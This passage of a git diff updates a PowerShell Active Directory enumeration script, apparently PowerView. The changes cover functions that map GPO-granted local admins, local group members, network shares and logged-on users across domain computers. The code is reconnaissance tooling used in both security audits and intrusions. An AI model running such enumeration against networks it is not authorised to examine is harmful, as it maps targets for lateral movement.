'GPOguid' $GPOguid + $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $GPOLocation | Add-Member Noteproperty 'Computers' $OUComputers + $GPOLocation + } } # find any sites that have this GUID applied - # TODO: fix, this isn't the correct way to query computers from a site... - # Get-NetSite -GUID $GPOguid -FullData | Foreach-Object { - # if($Filters) { - # # filter for computer name/org unit if a filter is specified - # # TODO: handle other filters? - # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath -FullData | ? { - # $_.adspath -match ($Filters.Value) - # } | Foreach-Object {$_.dnshostname} - # } - # else { - # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath - # } - - # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath - # $out = New-Object PSObject - # $out | Add-Member Noteproperty 'Object' $ObjectDistName - # $out | Add-Member Noteproperty 'GPOname' $GPOname - # $out | Add-Member Noteproperty 'GPOguid' $GPOguid - # $out | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - # $out | Add-Member Noteproperty 'Computers' $OUComputers - # $out - # } + Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object { + + ForEach ($TargetSid in $TargetObjects) { + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $AppliedSite = New-Object PSObject + $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup + $AppliedSite | Add-Member Noteproperty 'GPOname' $GPOname + $AppliedSite | Add-Member Noteproperty 'GPOguid' $GPOguid + $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $AppliedSite | Add-Member Noteproperty 'Computers' $_.siteobjectbl + $AppliedSite + } + } # mark off this GPO GUID so we don't process it again if there are dupes $ProcessedGUIDs[$GPOguid] = $True } } - } @@ -5897,23 +6636,51 @@ function Find-GPOComputerAdmin { Throw "-ComputerName or -OUName must be provided" } + $GPOGroups = @() + if($ComputerName) { $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize if(!$Computers) { - throw "Computer $Computer in domain '$Domain' not found!" + throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" } + $TargetOUs = @() ForEach($Computer in $Computers) { # extract all OUs a computer is a part of $DN = $Computer.distinguishedname - $TargetOUs = $DN.split(",") | Foreach-Object { + $TargetOUs += $DN.split(",") | ForEach-Object { if($_.startswith("OU=")) { $DN.substring($DN.indexof($_)) } } } + + # enumerate any linked GPOs for the computer's site + $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName + if($ComputerSite -and ($ComputerSite -ne 'ERROR')) { + $GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { + if($_.gplink) { + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } + } | ForEach-Object { + $GPOGroupArgs = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'ADSpath' = $_ + 'UsePSDrive' = $UsePSDrive + 'PageSize' = $PageSize + } + + # for each GPO link, get any locally set user/group SIDs + Get-NetGPOGroup @GPOGroupArgs + } + } } else { $TargetOUs = @($OUName) @@ -5921,19 +6688,19 @@ function Find-GPOComputerAdmin { Write-Verbose "Target OUs: $TargetOUs" - $TargetOUs | Where-Object {$_} | Foreach-Object { - - $OU = $_ + $TargetOUs | Where-Object {$_} | ForEach-Object { # for each OU the computer is a part of, get the full OU object - $GPOgroups = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | Foreach-Object { + $GPOgroups += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object { # and then get any GPO links - $_.gplink.split("][") | Foreach-Object { - if ($_.startswith("LDAP")) { - $_.split(";")[0] + if($_.gplink) { + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } } } - } | Foreach-Object { + } | ForEach-Object { $GPOGroupArgs = @{ 'Domain' = $Domain 'DomainController' = $DomainController @@ -5945,69 +6712,77 @@ function Find-GPOComputerAdmin { # for each GPO link, get any locally set user/group SIDs Get-NetGPOGroup @GPOGroupArgs } + } + + # for each found GPO group, resolve the SIDs of the members + $GPOgroups | Where-Object {$_} | ForEach-Object { + $GPO = $_ - # for each found GPO group, resolve the SIDs of the members - $GPOgroups | Where-Object {$_} | Foreach-Object { - $GPO = $_ - $GPO.members | Foreach-Object { + if ($GPO.members) { + $GPO.members = $GPO.members | Where-Object {$_} | ForEach-Object { + if($_ -match '^S-1-.*') { + $_ + } + else { + # if there are any plain group names, try to resolve them to sids + (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID + } + } | Sort-Object -Unique + } - # resolvethis SID to a domain object - $Object = Get-ADObject -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + $GPO.members | ForEach-Object { - $GPOComputerAdmin = New-Object PSObject - $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName - $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU - $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.name - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ - $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $($Object.samaccounttype -notmatch '805306368') - $GPOComputerAdmin + # resolve this SID to a domain object + $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ - # if we're recursing and the current result object is a group - if($Recurse -and $GPOComputerAdmin.isGroup) { + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype - Get-NetGroupMember -SID $_ -FullData -Recurse -PageSize $PageSize | Foreach-Object { + $GPOComputerAdmin = New-Object PSObject + $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOComputerAdmin - $MemberDN = $_.distinguishedName + # if we're recursing and the current result object is a group + if($Recurse -and $GPOComputerAdmin.isGroup) { - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | ForEach-Object { - if ($_.samAccountType -ne "805306368") { - $MemberIsGroup = $True - } - else { - $MemberIsGroup = $False - } + $MemberDN = $_.distinguishedName - if ($_.samAccountName) { - # forest users have the samAccountName set - $MemberName = $_.samAccountName + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + + $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype + + if ($_.samAccountName) { + # forest users have the samAccountName set + $MemberName = $_.samAccountName + } + else { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $_.cn } - else { - # external trust users have a SID, so convert it - try { - $MemberName = Convert-SidToName $_.cn - } - catch { - # if there's a problem contacting the domain to resolve the SID - $MemberName = $_.cn - } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $_.cn } - - $GPOComputerAdmin = New-Object PSObject - $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName - $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU - $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid - $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup - $GPOComputerAdmin } + + $GPOComputerAdmin = New-Object PSObject + $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup + $GPOComputerAdmin } } } @@ -6047,9 +6822,15 @@ function Get-DomainPolicy { .EXAMPLE - PS C:\> Get-NetGPO + PS C:\> Get-DomainPolicy - Returns the GPOs in the current domain. + Returns the domain policy for the current domain. + + .EXAMPLE + + PS C:\> Get-DomainPolicy -Source DC -DomainController MASTER.testlab.local + + Returns the policy for the MASTER.testlab.local domain controller. #> [CmdletBinding()] @@ -6103,25 +6884,25 @@ function Get-DomainPolicy { } # parse the GptTmpl.inf - Get-GptTmpl @ParseArgs | Foreach-Object { + Get-GptTmpl @ParseArgs | ForEach-Object { if($ResolveSids) { # if we're resolving sids in PrivilegeRights to names $Policy = New-Object PSObject - $_.psobject.properties | Foreach-Object { + $_.psobject.properties | ForEach-Object { if( $_.Name -eq 'PrivilegeRights') { $PrivilegeRights = New-Object PSObject # for every nested SID member of PrivilegeRights, try to # unpack everything and resolve the SIDs as appropriate - $_.Value.psobject.properties | Foreach-Object { + $_.Value.psobject.properties | ForEach-Object { - $Sids = $_.Value | Foreach-Object { + $Sids = $_.Value | ForEach-Object { try { if($_ -isnot [System.Array]) { Convert-SidToName $_ } else { - $_ | Foreach-Object { Convert-SidToName $_ } + $_ | ForEach-Object { Convert-SidToName $_ } } } catch { @@ -6184,6 +6965,11 @@ function Get-NetLocalGroup { Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine. + .PARAMETER API + + Switch. Use API calls instead of the WinNT service provider. Less information, + but the results are faster. + .EXAMPLE PS C:\> Get-NetLocalGroup @@ -6198,7 +6984,7 @@ function Get-NetLocalGroup { .EXAMPLE - PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Resurse + PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Recurse Returns all effective local/domain users/groups that can access WINDOWS7 with local administrative privileges. @@ -6209,42 +6995,52 @@ function Get-NetLocalGroup { Returns all local groups on the WINDOWS7 host. + .EXAMPLE + + PS C:\> "WINDOWS7", "WINDOWSSP" | Get-NetLocalGroup -API + + Returns all local groups on the the passed hosts using API calls instead of the + WinNT service provider. + .LINK http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx #> - [CmdletBinding()] + [CmdletBinding(DefaultParameterSetName = 'WinNT')] param( - [Parameter(ValueFromPipeline=$True)] + [Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)] + [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)] [Alias('HostName')] - [String] + [String[]] $ComputerName = 'localhost', + [Parameter(ParameterSetName = 'WinNT')] + [Parameter(ParameterSetName = 'API')] [ValidateScript({Test-Path -Path $_ })] [Alias('HostList')] [String] $ComputerFile, + [Parameter(ParameterSetName = 'WinNT')] + [Parameter(ParameterSetName = 'API')] [String] $GroupName = 'Administrators', + [Parameter(ParameterSetName = 'WinNT')] [Switch] $ListGroups, + [Parameter(ParameterSetName = 'WinNT')] [Switch] - $Recurse + $Recurse, + + [Parameter(ParameterSetName = 'API')] + [Switch] + $API ) - begin { - if ((-not $ListGroups) -and (-not $GroupName)) { - # resolve the SID for the local admin group - this should usually default to "Administrators" - $ObjSID = New-Object System.Security.Principal.SecurityIdentifier('S-1-5-32-544') - $Objgroup = $ObjSID.Translate( [System.Security.Principal.NTAccount]) - $GroupName = ($Objgroup.Value).Split('\')[1] - } - } process { $Servers = @() @@ -6255,140 +7051,273 @@ function Get-NetLocalGroup { } else { # otherwise assume a single host name - $Servers += Get-NameField -Object $ComputerName + $Servers += $ComputerName | Get-NameField } # query the specified group using the WINNT provider, and # extract fields as appropriate from the results ForEach($Server in $Servers) { - try { - if($ListGroups) { - # if we're listing the group names on a remote server - $Computer = [ADSI]"WinNT://$Server,computer" - - $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { - $Group = New-Object PSObject - $Group | Add-Member Noteproperty 'Server' $Server - $Group | Add-Member Noteproperty 'Group' ($_.name[0]) - $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value) - $Group | Add-Member Noteproperty 'Description' ($_.Description[0]) - $Group - } - } - else { - # otherwise we're listing the group members - $Members = @($([ADSI]"WinNT://$Server/$GroupName").psbase.Invoke('Members')) - $Members | ForEach-Object { + if($API) { + # if we're using the Netapi32 NetLocalGroupGetMembers API call to + # get the local group information + + # arguments for NetLocalGroupGetMembers + $QueryLevel = 2 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the local user information + $Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() - $Member = New-Object PSObject - $Member | Add-Member Noteproperty 'Server' $Server + Write-Debug "NetLocalGroupGetMembers result for $Server : $Result" + $LocalUsers = @() - $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { - # try to translate the NT4 domain to a FQDN if possible - $Name = Convert-NT4toCanonical -ObjectName $AdsPath - if($Name) { - $FQDN = $Name.split("/")[0] - $ObjName = $AdsPath.split("/")[-1] - $Name = "$FQDN/$ObjName" - $IsDomain = $True + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 + + $SidString = "" + $Result = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString) + Write-Debug "Result of ConvertSidToStringSid: $Result" + + if($Result -eq 0) { + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx + $Err = $Kernel32::GetLastError() + Write-Error "ConvertSidToStringSid LastError: $Err" } else { - $Name = $AdsPath - $IsDomain = $False - } + $LocalUser = New-Object PSObject + $LocalUser | Add-Member Noteproperty 'ComputerName' $Server + $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname + $LocalUser | Add-Member Noteproperty 'SID' $SidString - $Member | Add-Member Noteproperty 'AccountName' $Name + $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') + $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup - # translate the binary sid to a string - $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment - # if the account is local, check if it's disabled, if it's domain, always print $False - # TODO: fix this occasinal error? - $Member | Add-Member Noteproperty 'Disabled' $( if(-not $IsDomain) { try { $_.GetType().InvokeMember('AccountDisabled', 'GetProperty', $Null, $_, $Null) } catch { 'ERROR' } } else { $False } ) + $LocalUsers += $LocalUser + } + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + + # try to extract out the machine SID by using the -500 account as a reference + $MachineSid = $LocalUsers | Where-Object {$_.SID -like '*-500'} + $Parts = $MachineSid.SID.Split('-') + $MachineSid = $Parts[0..($Parts.Length -2)] -join '-' - # check if the member is a group - $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') - $Member | Add-Member Noteproperty 'IsGroup' $IsGroup - $Member | Add-Member Noteproperty 'IsDomain' $IsDomain - if($IsGroup) { - $Member | Add-Member Noteproperty 'LastLogin' "" + $LocalUsers | ForEach-Object { + if($_.SID -match $MachineSid) { + $_ | Add-Member Noteproperty 'IsDomain' $False } else { - try { - $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) - } - catch { - $Member | Add-Member Noteproperty 'LastLogin' "" - } + $_ | Add-Member Noteproperty 'IsDomain' $True } - $Member + } + $LocalUsers + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} + } + } + } - # if the result is a group domain object and we're recursing, - # try to resolve all the group member results - if($Recurse -and $IsDomain -and $IsGroup) { + else { + # otherwise we're using the WinNT service provider + try { + if($ListGroups) { + # if we're listing the group names on a remote server + $Computer = [ADSI]"WinNT://$Server,computer" + + $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { + $Group = New-Object PSObject + $Group | Add-Member Noteproperty 'Server' $Server + $Group | Add-Member Noteproperty 'Group' ($_.name[0]) + $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value) + $Group | Add-Member Noteproperty 'Description' ($_.Description[0]) + $Group + } + } + else { + # otherwise we're listing the group members + $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members')) - $FQDN = $Name.split("/")[0] - $GroupName = $Name.split("/")[1].trim() + $Members | ForEach-Object { - Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' $Server - $Member = New-Object PSObject - $Member | Add-Member Noteproperty 'Server' "$FQDN/$($_.GroupName)" + $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') - $MemberDN = $_.distinguishedName - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + # try to translate the NT4 domain to a FQDN if possible + $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical' + + if($Name) { + $FQDN = $Name.split("/")[0] + $ObjName = $AdsPath.split("/")[-1] + $Name = "$FQDN/$ObjName" + $IsDomain = $True + } + else { + $Name = $AdsPath + $IsDomain = $False + } - if ($_.samAccountType -ne "805306368") { - $MemberIsGroup = $True + $Member | Add-Member Noteproperty 'AccountName' $Name + + if($IsDomain) { + # translate the binary sid to a string + $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) + + $Member | Add-Member Noteproperty 'Description' "" + $Member | Add-Member Noteproperty 'Disabled' $False + + # check if the member is a group + $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + + if($IsGroup) { + $Member | Add-Member Noteproperty 'LastLogin' $Null } else { - $MemberIsGroup = $False + try { + $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) + } + catch { + $Member | Add-Member Noteproperty 'LastLogin' $Null + } } + $Member | Add-Member Noteproperty 'PwdLastSet' "" + $Member | Add-Member Noteproperty 'PwdExpired' "" + $Member | Add-Member Noteproperty 'UserFlags' "" + } + else { + # repull this user object so we can ensure correct information + $LocalUser = $([ADSI] "WinNT://$AdsPath") + + # translate the binary sid to a string + $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value) + + $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0]) + + # UAC flags of 0x2 mean the account is disabled + $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2) + + # check if the member is a group + $Member | Add-Member Noteproperty 'IsGroup' ($LocalUser.SchemaClassName -like 'group') + $Member | Add-Member Noteproperty 'IsDomain' $IsDomain - if ($_.samAccountName) { - # forest users have the samAccountName set - $MemberName = $_.samAccountName + if($IsGroup) { + $Member | Add-Member Noteproperty 'LastLogin' "" } else { try { - # external trust users have a SID, so convert it + $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) + } + catch { + $Member | Add-Member Noteproperty 'LastLogin' "" + } + } + + $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) + $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') + $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) + } + $Member + + # if the result is a group domain object and we're recursing, + # try to resolve all the group member results + if($Recurse -and $IsDomain -and $IsGroup) { + + $FQDN = $Name.split("/")[0] + $GroupName = $Name.split("/")[1].trim() + + Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { + + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)" + + $MemberDN = $_.distinguishedName + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + + $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype + + if ($_.samAccountName) { + # forest users have the samAccountName set + $MemberName = $_.samAccountName + } + else { try { - $MemberName = Convert-SidToName $_.cn + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $_.cn + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $_.cn + } } catch { - # if there's a problem contacting the domain to resolve the SID - $MemberName = $_.cn + Write-Debug "Error resolving SID : $_" } } - catch { - Write-Debug "Error resolving SID : $_" - } - } - $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" - $Member | Add-Member Noteproperty 'SID' $_.objectsid - $Member | Add-Member Noteproperty 'Disabled' $False - $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup - $Member | Add-Member Noteproperty 'IsDomain' $True - $Member | Add-Member Noteproperty 'LastLogin' '' - $Member + $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" + $Member | Add-Member Noteproperty 'SID' $_.objectsid + $Member | Add-Member Noteproperty 'Description' $_.description + $Member | Add-Member Noteproperty 'Disabled' $False + $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup + $Member | Add-Member Noteproperty 'IsDomain' $True + $Member | Add-Member Noteproperty 'LastLogin' '' + $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet + $Member | Add-Member Noteproperty 'PwdExpired' '' + $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl + $Member + } } } } } - } - catch { - Write-Warning "[!] Error: $_" + catch { + Write-Warning "[!] Error: $_" + } } } } } -function Get-NetShare { +filter Get-NetShare { <# .SYNOPSIS @@ -6403,7 +7332,8 @@ function Get-NetShare { .OUTPUTS SHARE_INFO_1 structure. A representation of the SHARE_INFO_1 - result structure which includes the name and note for each share. + result structure which includes the name and note for each share, + with the ComputerName added. .EXAMPLE @@ -6416,82 +7346,87 @@ function Get-NetShare { PS C:\> Get-NetShare -ComputerName sqlserver Returns active shares on the 'sqlserver' host + + .EXAMPLE + + PS C:\> Get-NetComputer | Get-NetShare + + Returns all shares for all computers in the domain. + + .LINK + + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ #> [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] [Alias('HostName')] - [String] + [Object[]] + [ValidateNotNullOrEmpty()] $ComputerName = 'localhost' ) - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - process { - - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName + # arguments for NetShareEnum + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 - # arguments for NetShareEnum - $QueryLevel = 1 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 + # get the share information + $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - # get the share information - $Result = $Netapi32::NetShareEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() + Write-Debug "Get-NetShare result for $Computer : $Result" - Write-Debug "Get-NetShare result: $Result" + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $SHARE_INFO_1::GetSize() - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $SHARE_INFO_1::GetSize() - - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $SHARE_INFO_1 - # return all the sections of the structure - $Info | Select-Object * - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment - } + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SHARE_INFO_1 - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) + # return all the sections of the structure + $Shares = $Info | Select-Object * + $Shares | Add-Member Noteproperty 'ComputerName' $Computer + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Shares } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} } } } -function Get-NetLoggedon { +filter Get-NetLoggedon { <# .SYNOPSIS @@ -6505,7 +7440,8 @@ function Get-NetLoggedon { .OUTPUTS WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1 - result structure which includes the username and domain of logged on users. + result structure which includes the username and domain of logged on users, + with the ComputerName added. .EXAMPLE @@ -6519,6 +7455,12 @@ function Get-NetLoggedon { Returns users actively logged onto the 'sqlserver' host. + .EXAMPLE + + PS C:\> Get-NetComputer | Get-NetLoggedon + + Returns all logged on userse for all computers in the domain. + .LINK http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ @@ -6528,78 +7470,71 @@ function Get-NetLoggedon { 